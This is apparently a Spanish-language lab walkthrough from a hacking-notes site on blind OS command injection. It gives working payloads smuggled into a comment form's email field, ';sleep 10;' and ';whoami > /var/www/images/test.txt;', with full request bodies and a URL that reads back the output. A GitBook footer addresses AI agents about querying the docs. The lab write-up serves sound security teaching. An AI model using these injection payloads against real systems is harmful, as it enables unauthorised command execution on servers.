> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Inyección ciega de comandos del sistema operativo con redirección de salida

### Inyección ciega de comandos del sistema operativo con redirección de salida

#### Descripción del laboratorio

* La aplicación presenta una vulnerabilidad a la inyección de comandos del sistema **ciega** en la funcionalidad de comentarios.
* Los datos de entrada del usuario se inyectan en un comando de shell del lado del servidor.
* La salida de este comando \*\*no se devuelve\*\* directamente en la respuesta HTTP.
* Sin embargo, hay un registro accesible en escritura:/ `/var/www/images/`
* La aplicación sirve las imágenes del catálogo producidas a partir de este directorio.
* Así que podemos **redirigir la salida** del comando a un archivo en esta carpeta y luego leer este archivo a través de la URL de carga de imágenes.

**Objetivo del laboratorio:** Ejecutar el comando `whoami` y recuperar su salida.

```bash
;sleep 10;
```

#### Detección de inyección (retardo temporal)

Se utiliza el formulario de comentarios. / El **correo electrónico** campo es vulnerable: cuando inyectas un retardo, la respuesta tarda unos 10 segundos.

Carga útil inyectada en el `correo electrónico` campo:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

El retardo de 10 segundos confirma la inyección de comandos.

#### Operación con redirección de salida

Propósito: redirigir la salida de `whoami` a un archivo en `/var/www/images/`.

Carga útil inyectada en el `correo electrónico` campo:

```
;whoami > /var/www/images/test.txt;
```

Ejemplo de un cuerpo de solicitud:

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Este comando crea (o sobrescribe) el `test.txt` archivo en el directorio accesible desde la web.

```bash
/image?filename=test.txt
```

#### Recuperación del resultado

Para leer la salida de `whoami` guardada en el archivo, llamamos a la URL que sirve los archivos en la carpeta de imágenes:

<figure><img src="/files/e2cb65cf0cc039bc4ecec33b199a92c509f1a0d4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
